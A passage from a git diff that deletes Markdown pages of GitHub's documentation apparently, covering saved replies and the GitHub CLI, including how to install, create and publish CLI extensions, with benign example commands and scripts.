a/content/get-started/writing-on-github/working-with-saved-replies/creating-a-saved-reply.md b/content/get-started/writing-on-github/working-with-saved-replies/creating-a-saved-reply.md deleted file mode 100644 index 5e98e756b8a9..000000000000 --- a/content/get-started/writing-on-github/working-with-saved-replies/creating-a-saved-reply.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Creating a saved reply -intro: 'If you frequently add the same comment over and over, you can create a saved reply.' -redirect_from: - - /articles/creating-a-saved-reply - - /github/writing-on-github/creating-a-saved-reply - - /github/writing-on-github/working-with-saved-replies/creating-a-saved-reply -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.saved_replies %} -1. Under "Add a saved reply", add a title for your saved reply. -1. In the "Write" field, add the content you'd like to use for the saved reply. For information on using Markdown, see [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax). -![Screenshot of a {% data variables.product.github %} saved reply titled "Squirrel ship" showing Markdown in the "Write" box. The text reads, "This looks great. :shipit: it!"](/assets/images/help/writing/saved-replies-settings-adding.png) -1. To review your reply, click **Preview**. -![Screenshot of a {% data variables.product.github %} saved reply titled "Squirrel ship" showing rendered Markdown in the "Preview" box. The text and "ShipIt" icon are shown.](/assets/images/help/writing/saved-replies-preview.png) -1. Click **Add saved reply**. - -## Further reading - -* [AUTOTITLE](/get-started/writing-on-github/working-with-saved-replies/using-saved-replies) -* [AUTOTITLE](/get-started/writing-on-github/working-with-saved-replies/editing-a-saved-reply) -* [AUTOTITLE](/get-started/writing-on-github/working-with-saved-replies/deleting-a-saved-reply) diff --git a/content/get-started/writing-on-github/working-with-saved-replies/deleting-a-saved-reply.md b/content/get-started/writing-on-github/working-with-saved-replies/deleting-a-saved-reply.md deleted file mode 100644 index 12e812e28905..000000000000 --- a/content/get-started/writing-on-github/working-with-saved-replies/deleting-a-saved-reply.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Deleting a saved reply -intro: 'If you find that you''re no longer using a saved reply, you can delete it.' -redirect_from: - - /articles/deleting-a-saved-reply - - /github/writing-on-github/deleting-a-saved-reply - - /github/writing-on-github/working-with-saved-replies/deleting-a-saved-reply -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.saved_replies %} -1. Under "Saved replies", next to the saved reply you want to delete, click {% octicon "x" aria-label="The X" %}. -![Screenshot of {% data variables.product.github %} settings for "Saved replies." To the right of the "Ship squirrel" reply, a delete button with a red X is outlined in orange.](/assets/images/help/writing/saved-replies-delete-existing.png) diff --git a/content/get-started/writing-on-github/working-with-saved-replies/editing-a-saved-reply.md b/content/get-started/writing-on-github/working-with-saved-replies/editing-a-saved-reply.md deleted file mode 100644 index 97e08693f907..000000000000 --- a/content/get-started/writing-on-github/working-with-saved-replies/editing-a-saved-reply.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Editing a saved reply -intro: You can edit the title and body of a saved reply. -redirect_from: - - /articles/changing-a-saved-reply - - /articles/editing-a-saved-reply - - /github/writing-on-github/editing-a-saved-reply - - /github/writing-on-github/working-with-saved-replies/editing-a-saved-reply -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.saved_replies %} -1. Under "Saved replies," next to the saved reply you want to edit, click {% octicon "pencil" aria-label="The pencil" %}. -![Screenshot of {% data variables.product.github %} settings for "Saved replies." To the right of the "Ship squirrel" reply, an edit button with a pencil icon is outlined in orange.](/assets/images/help/writing/saved-replies-edit-existing.png) -1. Under "Edit saved reply," edit the title or content of the saved reply. -1. Click **Update saved reply**. - -## Further reading - -* [AUTOTITLE](/get-started/writing-on-github/working-with-saved-replies/creating-a-saved-reply) -* [AUTOTITLE](/get-started/writing-on-github/working-with-saved-replies/deleting-a-saved-reply) -* [AUTOTITLE](/get-started/writing-on-github/working-with-saved-replies/using-saved-replies) diff --git a/content/get-started/writing-on-github/working-with-saved-replies/index.md b/content/get-started/writing-on-github/working-with-saved-replies/index.md deleted file mode 100644 index a1d5285f48f6..000000000000 --- a/content/get-started/writing-on-github/working-with-saved-replies/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Working with saved replies -intro: 'To save time and make sure you''re delivering a consistent message, you can add saved replies to issue and pull request comments.' -redirect_from: - - /articles/working-with-saved-replies - - /github/writing-on-github/working-with-saved-replies -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /about-saved-replies - - /creating-a-saved-reply - - /editing-a-saved-reply - - /deleting-a-saved-reply - - /using-saved-replies -shortTitle: Work with saved replies ---- - diff --git a/content/get-started/writing-on-github/working-with-saved-replies/using-saved-replies.md b/content/get-started/writing-on-github/working-with-saved-replies/using-saved-replies.md deleted file mode 100644 index 0eedd369c62b..000000000000 --- a/content/get-started/writing-on-github/working-with-saved-replies/using-saved-replies.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Using saved replies -intro: 'When commenting on an issue or pull request, you can add a saved reply that you''ve already set up. The saved reply can be the entire comment or if you want to customize it, you can add or delete content.' -redirect_from: - - /articles/using-saved-replies - - /github/writing-on-github/using-saved-replies - - /github/writing-on-github/working-with-saved-replies/using-saved-replies -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-issue-pr %} -1. Click the desired issue or pull request. -1. To add a saved reply, above the comment field, select {% octicon "reply" aria-label="The mail reply" %}. - ![Screenshot of a {% data variables.product.prodname_dotcom %} comment box. On the toolbar, a reply button with a left-facing curved arrow is outlined in dark orange.](/assets/images/help/writing/saved-replies-button.png) -1. From the list, select the saved reply you'd like to add to your comment. Optionally, edit the content of the saved reply. -1. Select **Comment** to add your comment. - -> [!TIP] -> * You can use a keyboard shortcut to autofill the comment with a saved reply. For more information, see [AUTOTITLE](/get-started/accessibility/keyboard-shortcuts#comments). -> * You can filter the list by typing the title of the saved reply. - -## Further reading - -* [AUTOTITLE](/get-started/writing-on-github/working-with-saved-replies/creating-a-saved-reply) -* [AUTOTITLE](/get-started/writing-on-github/working-with-saved-replies/editing-a-saved-reply) -* [AUTOTITLE](/get-started/writing-on-github/working-with-saved-replies/deleting-a-saved-reply) diff --git a/content/github-cli/github-cli/about-github-cli.md b/content/github-cli/github-cli/about-github-cli.md deleted file mode 100644 index dca96a80b060..000000000000 --- a/content/github-cli/github-cli/about-github-cli.md +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: About GitHub CLI -intro: '{% data reusables.cli.cli-intro %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - CLI -type: overview -redirect_from: - - /github/getting-started-with-github/github-cli - - /github/getting-started-with-github/using-github/github-cli - - /actions/guides/managing-github-actions-with-github-cli - - /get-started/using-github/github-cli ---- -## About {% data variables.product.prodname_cli %} - -{% data reusables.cli.about-cli %} - -{% data reusables.cli.cli-features %} - -For more information about what you can do with {% data variables.product.prodname_cli %}, see the [{% data variables.product.prodname_cli %} manual](https://cli.github.com/manual). - -### What's the difference between {% data variables.product.prodname_cli %} and Git on the command line? - -The Git command line interface (`git`) allows you to work with a local or remote Git repository. The remote repository may be hosted on {% data variables.product.prodname_dotcom %} or it may be hosted by another service. - -{% data variables.product.prodname_cli %} (`gh`) is specifically for working with {% data variables.product.prodname_dotcom %}. It allows you to use the command line to interact with {% data variables.product.prodname_dotcom %} in all sorts of ways, as illustrated by the previous list. If you tend to work on the command line you may prefer using {% data variables.product.prodname_cli %} instead of using {% data variables.product.prodname_dotcom %} in a browser. {% data variables.product.prodname_cli %} also makes it easier for you to create scripts to automate {% data variables.product.prodname_dotcom %} operations. - -## Installing {% data variables.product.prodname_cli %} - -{% data reusables.cli.cli-installation %} - -## Sharing feedback - -If you have feedback or feature requests, you can open an issue in the [`cli/cli` repository](https://github.com/cli/cli). diff --git a/content/github-cli/github-cli/creating-github-cli-extensions.md b/content/github-cli/github-cli/creating-github-cli-extensions.md deleted file mode 100644 index 8c8e8c8764ae..000000000000 --- a/content/github-cli/github-cli/creating-github-cli-extensions.md +++ /dev/null @@ -1,264 +0,0 @@ ---- -title: Creating GitHub CLI extensions -intro: 'Learn how to share new {% data variables.product.prodname_cli %} commands with other users by creating custom extensions for {% data variables.product.prodname_cli %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - CLI ---- - -## About {% data variables.product.prodname_cli %} extensions - -{% data reusables.cli.cli-extensions %} For more information about how to use {% data variables.product.prodname_cli %} extensions, see [AUTOTITLE](/github-cli/github-cli/using-github-cli-extensions). - -You need a repository for each extension that you create. The repository name must start with `gh-`. The rest of the repository name is the name of the extension. The repository must have an executable file at its root with the same name as the repository or a set of precompiled binary executables attached to a release. - -> [!NOTE] -> When relying on an executable script, we recommend using a bash script because bash is a widely available interpreter. You may use non-bash scripts, but the user must have the necessary interpreter installed in order to use the extension. If you would prefer to not rely on users having interpreters installed, consider a precompiled extension. - -## Creating an interpreted extension with `gh extension create` - -> [!NOTE] -> Running `gh extension create` with no arguments will start an interactive wizard. - -You can use the `gh extension create` command to create a project for your extension, including a bash script that contains some starter code. - -1. Set up a new extension by using the `gh extension create` subcommand. Replace `EXTENSION-NAME` with the name of your extension. - - ```shell - gh extension create EXTENSION-NAME - ``` - -1. Follow the printed instructions to finalize and optionally publish your extension. - -## Creating a precompiled extension in Go with `gh extension create` - -You can use the `--precompiled=go` argument to create a Go-based project for your extension, including Go scaffolding, workflow scaffolding, and starter code. - -1. Set up a new extension by using the `gh extension create` subcommand. Replace `EXTENSION-NAME` with the name of your extension and specify `--precompiled=go`. - - ```shell - gh extension create --precompiled=go EXTENSION-NAME - ``` - -1. Follow the printed instructions to finalize and optionally publish your extension. - -## Creating a non-Go precompiled extension with `gh extension create` - -You can use the `--precompiled=other` argument to create a project for your non-Go precompiled extension, including workflow scaffolding. - -1. Set up a new extension by using the `gh extension create` subcommand. Replace `EXTENSION-NAME` with the name of your extension and specify `--precompiled=other`. - - ```shell - gh extension create --precompiled=other EXTENSION-NAME - ``` - -1. Add some initial code for your extension in your compiled language of choice. - -1. Fill in `script/build.sh` with code to build your extension to ensure that your extension can be built automatically. - -1. Follow the printed instructions to finalize and optionally publish your extension. - -## Creating an interpreted extension manually - -1. Create a local directory called `gh-EXTENSION-NAME` for your extension. Replace `EXTENSION-NAME` with the name of your extension. For example, `gh-whoami`. - -1. In the directory that you created, add an executable file with the same name as the directory. - - > [!NOTE] - > Make sure that your file is executable. On Unix, you can execute `chmod +x file_name` in the command line to make `file_name` executable. On Windows, you can run `git init -b main`, `git add file_name`, then `git update-index --chmod=+x file_name`. - -1. Write your script in the executable file. For example: - - ```bash - #!/usr/bin/env bash - set -e - exec gh api user --jq '"You are @\(.login) (\(.name))."' - ``` - -1. From your directory, install the extension as a local extension. - - ```shell - gh extension install . - ``` - -1. Verify that your extension works. Replace `EXTENSION-NAME` with the name of your extension. For example, `whoami`. - - ```shell - gh EXTENSION-NAME - ``` - -1. From your directory, create a repository to publish your extension. Replace `EXTENSION-NAME` with the name of your extension. - - ```shell - git init -b main - git add . && git commit -m "initial commit" - gh repo create gh-EXTENSION-NAME --source=. --public --push - ``` - -1. Optionally, to help other users discover your extension, add the repository topic `gh-extension`. This will make the extension appear on the [`gh-extension` topic page](https://github.com/topics/gh-extension). For more information about how to add a repository topic, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics). - -## Tips for writing interpreted {% data variables.product.prodname_cli %} extensions - -### Handling arguments and flags - -All command line arguments following a `gh my-extension-name` command will be passed to the extension script. In a bash script, you can reference arguments with `$1`, `$2`, etc. You can use arguments to take user input or to modify the behavior of the script. - -For example, this script handles multiple flags. When the script is called with the `-h` or `--help` flag, the script prints help text instead of continuing execution. When the script is called with the `--name` flag, the script sets the next value after the flag to `name_arg`. When the script is called with the `--verbose` flag, the script prints a different greeting. - -```bash -#!/usr/bin/env bash -set -e - -verbose="" -name_arg="" -while [ $# -gt 0 ]; do - case "$1" in - --verbose) - verbose=1 - ;; - --name) - name_arg="$2" - shift - ;; - -h|--help) - echo "Add help text here." - exit 0 - ;; - esac - shift -done - -if [ -z "$name_arg" ] -then - echo "You haven't told us your name." -elif [ -z "$verbose" ] -then - echo "Hi $name_arg" -else - echo "Hello and welcome, $name_arg" -fi -``` - -### Calling core commands in non-interactive mode - -Some {% data variables.product.prodname_cli %} core commands will prompt the user for input. When scripting with those commands, a prompt is often undesirable. To avoid prompting, supply the necessary information explicitly via arguments. - -For example, to create an issue programmatically, specify the title and body: - -```shell -gh issue create --title "My Title" --body "Issue description" -``` - -### Fetching data programmatically - -Many core commands support the `--json` flag for fetching data programmatically. For example, to return a JSON object listing the number, title, and mergeability status of pull requests: - -```shell -gh pr list --json number,title,mergeStateStatus -``` - -If there is not a core command to fetch specific data from GitHub, you can use the [`gh api`](https://cli.github.com/manual/gh_api) command to access the GitHub API. For example, to fetch information about the current user: - -```shell -gh api user -``` - -All commands that output JSON data also have options to filter that data into something more immediately usable by scripts. For example, to get the current user's name: - -```shell -gh api user --jq '.name' -``` - -For more information, see [`gh help formatting`](https://cli.github.com/manual/gh_help_formatting). - -## Creating a precompiled extension manually - -1. Create a local directory called `gh-EXTENSION-NAME` for your extension. Replace `EXTENSION-NAME` with the name of your extension. For example, `gh-whoami`. - -1. In the directory you created, add some source code. For example: - - ```golang - package main - import ( - "github.com/cli/go-gh" - "fmt" - ) - - func main() { - args := []string{"api", "user", "--jq", `"You are @\(.login) (\(.name))"` } - stdOut, _, err := gh.Exec(args...) - if err != nil { - fmt.Println(err) - return - } - fmt.Println(stdOut.String()) - } - ``` - -1. From your directory, install the extension as a local extension. - - ```shell - gh extension install . - ``` - -1. Build your code. For example, with Go, replacing `YOUR-USERNAME` with your GitHub username: - - ```shell - go mod init github.com/YOUR-USERNAME/gh-whoami - go mod tidy - go build - ``` - -1. Verify that your extension works. Replace `EXTENSION-NAME` with the name of your extension. For example, `whoami`. - - ```shell - gh EXTENSION-NAME - ``` - -1. From your directory, create a repository to publish your extension. Replace `EXTENSION-NAME` with the name of your extension. - - > [!NOTE] - > Be careful not to commit the binary produced by your compilation step to version control. - - ```shell - git init -b main - echo "gh-EXTENSION-NAME" >> .gitignore - git add main.go go.* .gitignore && git commit -m 'Initial commit' - gh repo create "gh-EXTENSION-NAME" - ``` - -1. Create a release to share your precompiled extension with others. Compile for each platform you want to support, attaching each binary to a release as an asset. Binary executables attached to releases must follow a naming convention and have a suffix of OS-ARCHITECTURE\[EXTENSION\]. - - For example, an extension named `whoami` compiled for Windows 64bit would have the name `gh-whoami-windows-amd64.exe` while the same extension compiled for Linux 32bit would have the name `gh-whoami-linux-386`. To see an exhaustive list of OS and architecture combinations recognized by `gh`, see [this source code](https://github.com/cli/cli/blob/14f704fd0da58cc01413ee4ba16f13f27e33d15e/pkg/cmd/extension/manager.go#L696). - - > [!NOTE] - > For your extension to run properly on Windows, its asset file must have a `.exe` extension. No extension is needed for other operating systems. - - Releases can be created from the command line. For example: - - ```shell - git tag v1.0.0 - git push origin v1.0.0 - GOOS=windows GOARCH=amd64 go build -o gh-EXTENSION-NAME-windows-amd64.exe - GOOS=linux GOARCH=amd64 go build -o gh-EXTENSION-NAME-linux-amd64 - GOOS=darwin GOARCH=amd64 go build -o gh-EXTENSION-NAME-darwin-amd64 - gh release create v1.0.0 ./*amd64* - -1. Optionally, to help other users discover your extension, add the repository topic `gh-extension`. This will make the extension appear on the [`gh-extension` topic page](https://github.com/topics/gh-extension). For more information about how to add a repository topic, see [Classifying your repository with topics](/github/administering-a-repository/managing-repository-settings/classifying-your-repository-with-topics). - -## Tips for writing precompiled {% data variables.product.prodname_cli %} extensions - -### Automating releases - -Consider adding the [gh-extension-precompile](https://github.com/cli/gh-extension-precompile) action to a workflow in your project. This action will automatically produce cross-compiled Go binaries for your extension and supplies build scaffolding for non-Go precompiled extensions. - -### Using {% data variables.product.prodname_cli %} features from Go-based extensions - -Consider using [go-gh](https://github.com/cli/go-gh), a Go library that exposes pieces of `gh` functionality for use in extensions. - -## Next steps - -To see more examples of {% data variables.product.prodname_cli %} extensions, look at [repositories with the `gh-extension` topic](https://github.com/topics/gh-extension). diff --git a/content/github-cli/github-cli/github-cli-reference.md b/content/github-cli/github-cli/github-cli-reference.md deleted file mode 100644 index 864d82336b32..000000000000 --- a/content/github-cli/github-cli/github-cli-reference.md +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: GitHub CLI reference -intro: 'You can view all of the {% data variables.product.prodname_cli %} commands in your terminal. The same information is available in the {% data variables.product.prodname_cli %} manual.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - CLI -type: reference ---- - -To view all top-level {% data variables.product.prodname_cli %} commands, enter `gh` without arguments. - -```shell -gh -``` - -To list all of the subcommands that you can use with a {% data variables.product.prodname_cli %} command, use the top-level command without arguments. - -```shell -gh COMMAND -``` - -For example, to view the environment variables that you can set to affect certain aspects of {% data variables.product.prodname_cli %}, use the `environment` command. - -```shell -gh environment -``` - -To view the configuration settings that you can set, use the `config` command. - -```shell -gh config -``` - -To view help for a particular subcommand, use the `--help` flag. - -```shell -gh COMMAND [SUBCOMMAND ...] --help -``` - -All of the information that's available by running these commands in the terminal is also included in the [{% data variables.product.prodname_cli %} online manual](https://cli.github.com/manual/gh). diff --git a/content/github-cli/github-cli/index.md b/content/github-cli/github-cli/index.md deleted file mode 100644 index 5073342a7ca8..000000000000 --- a/content/github-cli/github-cli/index.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: GitHub CLI -shortTitle: GitHub CLI -intro: '{% data reusables.cli.about-cli %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /about-github-cli - - /quickstart - - /using-multiple-accounts - - /creating-github-cli-extensions - - /using-github-cli-extensions - - /github-cli-reference ---- - diff --git a/content/github-cli/github-cli/quickstart.md b/content/github-cli/github-cli/quickstart.md deleted file mode 100644 index 9ff050fc017b..000000000000 --- a/content/github-cli/github-cli/quickstart.md +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: GitHub CLI quickstart -intro: 'Start using {% data variables.product.prodname_cli %} to work with {% data variables.product.company_short %} in the command line.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - CLI -type: overview -allowTitleToDifferFromFilename: true -shortTitle: Quickstart ---- - -## About {% data variables.product.prodname_cli %} - -{% data reusables.cli.about-cli %} - -## Prerequisites - -{% data reusables.rest-api.github-cli-install-and-auth %} - -## Some useful commands - -> [!NOTE] -> When you use some commands for the first time - for example, `gh codespace SUBCOMMAND` - you'll be prompted to add extra scopes to your authentication token. Follow the onscreen instructions. - -### Viewing your status - -Enter `gh status` to see details of your current work on {% data variables.product.prodname_dotcom %} across all the repositories you're subscribed to. - -### Viewing a repository - -Enter `gh repo view OWNER/REPO` to see the repository description and `README.md` for the repository. Enter `gh repo view OWNER/REPO --web` to view the repository in your default browser. - -If you run the `repo` subcommand from within the directory of a local Git repository that has a remote on {% data variables.product.prodname_dotcom %} you can omit `OWNER/REPO`. - -### Cloning a repository - -Enter `gh repo clone OWNER/REPO`. For example, `gh repo clone octo-org/octo-repo` clones the `octo-org/octo-repo` repository to the directory from which you ran this command on your local computer. - -### Creating a repository - -Enter `gh repo create` and follow the on-screen instructions. You can create a new, empty repository on {% data variables.product.prodname_dotcom %} and then, optionally, clone it locally. Alternatively, you can push an existing local repository to {% data variables.product.prodname_dotcom %}, and optionally set it as the remote for your local repository. For information on setting a local directory as a Git repository, see [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/adding-locally-hosted-code-to-github#initializing-a-git-repository). - -### Working with issues - -Enter `gh issue list --repo OWNER/REPO` to list the most recently created issues that are currently open for the specified repository. If you run the `issue` subcommand from within the directory of a local Git repository that has a remote on {% data variables.product.prodname_dotcom %} you can omit `--repo OWNER/REPO`. For example, enter `gh issue list --assignee "@me"` to list issues assigned to you in this repository, or `gh issue list --author monalisa` to list issues created by the user "monalisa." - -You can also create a new issue, see [AUTOTITLE](/issues/tracking-your-work-with-issues/creating-an-issue#creating-an-issue-with-github-cli), or search for an issue, see [AUTOTITLE](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests?tool=cli#searching-for-issues-and-pull-requests). - -### Working with pull requests - -Enter `gh pr list --repo OWNER/REPO` to list the most recently created pull requests that are currently open for the specified repository. If you run the `pr` subcommand from within the directory of a local Git repository that has a remote on {% data variables.product.prodname_dotcom %} you can omit `--repo OWNER/REPO`. For example, enter `gh pr list --author "@me"` to list open pull requests that you created in this repository. - -Enter `gh pr list --label LABEL-NAME` to list open pull requests with a specific label. Enter `gh search prs --review-requested=@me --state=open` to list pull requests that you've been asked to review. - -To create a pull request, enter `gh pr create` and follow the on-screen instructions. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request?tool=cli#creating-the-pull-request). - -### Working with codespaces - -To create a new codespace, enter `gh codespace create` and follow the on-screen instructions. - -To display your existing codespaces, enter `gh codespace list`. To open a codespace in the web version of {% data variables.product.prodname_vscode_shortname %} enter `gh codespace code -w` and choose a codespace . - -In all of these commands you can substitute `cs` for `codespace`. - -## Getting help - -Enter `gh` for a reminder of the top-level {% data variables.product.prodname_cli %} commands that you can use. For example, `issue`, `pr`, `repo`, and so on. - -For each command, and each subsidiary subcommand, you can append the `--help` flag to find out how it's used. For example, `gh issue --help` or `gh issue create --help`. - -## Customizing {% data variables.product.prodname_cli %} - -You can change configuration settings and add aliases or extensions, to make {% data variables.product.prodname_cli %} work the way that suits you best. - -* Enter `gh config set SUBCOMMANDS` to configure {% data variables.product.prodname_cli %}'s settings, replacing `SUBCOMMANDS` with the setting you want to adjust. - - For example, you can specify the text editor that's used when a {% data variables.product.prodname_cli %} command requires you to edit text - such as when you add the body text for a new issue you're creating. To set your preferred text editor to {% data variables.product.prodname_vscode %} enter `gh config set editor "code -w"`. The `-w` (or `--wait`) flag in this example causes the command to wait for the file to be closed in {% data variables.product.prodname_vscode %} before proceeding with the next step in your terminal. - - For more information, see [`gh config set`](https://cli.github.com/manual/gh_config_set). - -* Define aliases for commands that you commonly run. For example, if you run `gh alias set prd "pr create --draft"`, you will then be able to run `gh prd` to quickly open a draft pull request. For more information, see [`gh alias`](https://cli.github.com/manual/gh_alias). - -* Create or add custom commands with {% data variables.product.prodname_cli %} extensions. For more information, see [AUTOTITLE](/github-cli/github-cli/using-github-cli-extensions) and [AUTOTITLE](/github-cli/github-cli/creating-github-cli-extensions). - -## Using {% data variables.product.prodname_cli %} with multiple accounts - -If you have multiple accounts on the same {% data variables.product.github %} platform, such as {% data variables.location.product_location %}, you can authenticate to each one and switch between them using the `gh auth switch` command. See [gh auth switch](https://cli.github.com/manual/gh_auth_switch) in the {% data variables.product.prodname_cli %} manual. - -If you need to use the {% data variables.product.prodname_cli %} across multiple {% data variables.product.github %} platforms, such as a personal account on {% data variables.product.prodname_dotcom_the_website %} and a {% data variables.enterprise.prodname_managed_user %} on {% data variables.enterprise.data_residency_site %}, see [AUTOTITLE](/github-cli/github-cli/using-multiple-accounts). - -## Further reading - -* [AUTOTITLE](/github-cli/github-cli/github-cli-reference) -* [{% data variables.product.prodname_cli %} online manual](https://cli.github.com/manual/gh) diff --git a/content/github-cli/github-cli/using-github-cli-extensions.md b/content/github-cli/github-cli/using-github-cli-extensions.md deleted file mode 100644 index 87045ee465b8..000000000000 --- a/content/github-cli/github-cli/using-github-cli-extensions.md +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: Using GitHub CLI extensions -intro: 'Learn how to use custom extensions written by other {% data variables.product.prodname_cli %} users.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - CLI ---- - -## About {% data variables.product.prodname_cli %} extensions - -> [!NOTE] -> Extensions outside of {% data variables.product.github %} and {% data variables.product.prodname_cli %} are not certified by {% data variables.product.github %} and are governed by separate terms of service, privacy policy, and support documentation. To mitigate risk when using third-party extensions, audit the source code of the extension before installing or updating the extension. - -{% data reusables.cli.cli-extensions %} For more information about how to create {% data variables.product.prodname_cli %} extensions, see [AUTOTITLE](/github-cli/github-cli/creating-github-cli-extensions). - -Extensions are locally installed and are scoped to the user. Therefore, if you access {% data variables.product.prodname_cli %} from a different machine or another user accesses {% data variables.product.prodname_cli %} from the same machine, the extension will not be available. - -## Finding extensions - -You can find extensions by browsing [repositories with the `gh-extension` topic](https://github.com/topics/gh-extension). - -## Installing extensions - -To install an extension, use the `extensions install` subcommand. Replace the `repo` parameter with the repository of the extension. You can use the full URL, such as `https://github.com/octocat/gh-whoami`, or just the owner and repository, such as `octocat/gh-whoami`. - -If the owner and repository are used, `gh` will install the extension using the hostname to which `gh` is currently authenticated. The full URL format is useful when installing extensions from a different host. For example, users on {% data variables.product.prodname_ghe_server %} should use the full repository URL to install extensions from {% data variables.product.prodname_dotcom_the_website %} or any other host. - -To install an extension in development from the current directory, use `.` as the value for the `repo` parameter. - -```shell -gh extension install REPO -``` - -If you already have an extension by the same name installed, the command will fail. For example, if you have installed `octocat/gh-whoami`, you must uninstall it before installing `hubot/gh-whoami`. - -## Running an extension - -When you have installed an extension, you run the extension as you would run a native {% data variables.product.prodname_cli %} command, using `gh EXTENSION-NAME`. The `EXTENSION-NAME` is the name of the repository that contains the extension, minus the `gh-` prefix. - -For example, if you installed the extension from the `octocat/gh-whoami` repository, you would run the extension with the following command. - -``` shell -gh whoami -``` - -You can usually find specific information about how to use an extension in the README of the repository that contains the extension. - -## Viewing installed extensions - -To view all installed extensions, use the `extensions list` subcommand. The output will also tell you which extensions have updates available. - -```shell -gh extension list -``` - -## Updating extensions - -To update an extension, use the `extensions upgrade` subcommand. Replace the `extension` parameter with the name of the extension. - -```shell -gh extension upgrade EXTENSION -``` - -To update all installed extensions, use the `--all` flag. - -```shell -gh extension upgrade --all -``` - -## Uninstalling extensions - -To uninstall an extension, use the `extensions remove` subcommand. Replace the `extension` parameter with the name of the extension. - -```shell -gh extension remove EXTENSION -``` diff --git a/content/github-cli/github-cli/using-multiple-accounts.md b/content/github-cli/github-cli/using-multiple-accounts.md deleted file mode 100644 index 216fa82d4c5b..000000000000 --- a/content/github-cli/github-cli/using-multiple-accounts.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Using the GitHub CLI across GitHub platforms -intro: 'Learn how to run commands when you are authenticated to accounts on different {% data variables.product.github %} platforms.' -shortTitle: Accounts across platforms -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - CLI -allowTitleToDifferFromFilename: true ---- - -If you have accounts on multiple {% data variables.product.github %} platforms, such as a personal account on {% data variables.product.prodname_dotcom_the_website %} and a {% data variables.enterprise.prodname_managed_user %} on {% data variables.enterprise.data_residency_site %}, you can authenticate with `gh auth login` for each account. - -You'll need to authenticate to run _any_ commands in a given environment. For example, even if you're running a command that only requires read access to a public repository on {% data variables.product.prodname_dotcom_the_website %}, you won't be able to use this command if you're only authenticated to an account on {% data variables.enterprise.data_residency_site %}. You should therefore authenticate to all accounts you want to use with the {% data variables.product.prodname_cli %}. - -## How do I run commands for each account? - -Once you've authenticated with multiple accounts, when you run a command, the {% data variables.product.prodname_cli %} can sometimes automatically detect which platform you're trying to access. In other cases, you'll need to provide more information in your command. - -The {% data variables.product.prodname_cli %} **automatically detects** your intended account when you're in the context of a specific repository. For example, if you `cd` into your `my-repo` directory and run `gh repo view`, the command will target the correct platform for that repository. - -The {% data variables.product.prodname_cli %} **can't automatically detect** your intended account when it doesn't have this context. For example, if you run `gh repo list` to list repositories for your account, the {% data variables.product.prodname_cli %} won't know which account you want to access. In cases like this: - -* The {% data variables.product.prodname_cli %} will default to {% data variables.product.prodname_dotcom_the_website %}. -* You can set the `GH_HOST` environment variable to change the default target for these kinds of requests. See [gh environment](https://cli.github.com/manual/gh_help_environment) in the {% data variables.product.prodname_cli %} manual. -* Some commands allow you allow you to specify your target environment with the `--hostname` option, such as `gh api`, or pass the full URL for a repository, such as `gh pr view`. - -## Can I use multiple accounts on the same platform? - -You can also authenticate with multiple accounts on the same platform. To switch between these accounts, you can use the `gh auth switch` command. See [gh auth switch](https://cli.github.com/manual/gh_auth_switch) in the {% data variables.product.prodname_cli %} manual. diff --git a/content/github-cli/index.md b/content/github-cli/index.md deleted file mode 100644 index d792d71d081d..000000000000 --- a/content/github-cli/index.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: '{% data variables.product.prodname_cli %} documentation' -shortTitle: '{% data variables.product.prodname_cli %}' -intro: '{% data reusables.cli.about-cli %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /github-cli -introLinks: - overview: /github-cli/github-cli/about-github-cli - quickstart: /github-cli/github-cli/quickstart - reference: /github-cli/github-cli/github-cli-reference -featuredLinks: - startHere: - - /github-cli/github-cli/creating-github-cli-extensions - - /github-cli/github-cli/using-github-cli-extensions - - /actions/writing-workflows/choosing-what-your-workflow-does/using-github-cli-in-workflows - - /codespaces/developing-in-a-codespace/using-github-codespaces-with-github-cli - popular: - - /pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request - - /issues/tracking-your-work-with-issues/using-issues/creating-an-issue - - /authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account - - /repositories/creating-and-managing-repositories/quickstart-for-repositories - - /pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally - - /pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request - - /pull-requests/collaborating-with-pull-requests/working-with-forks/fork-a-repo - - 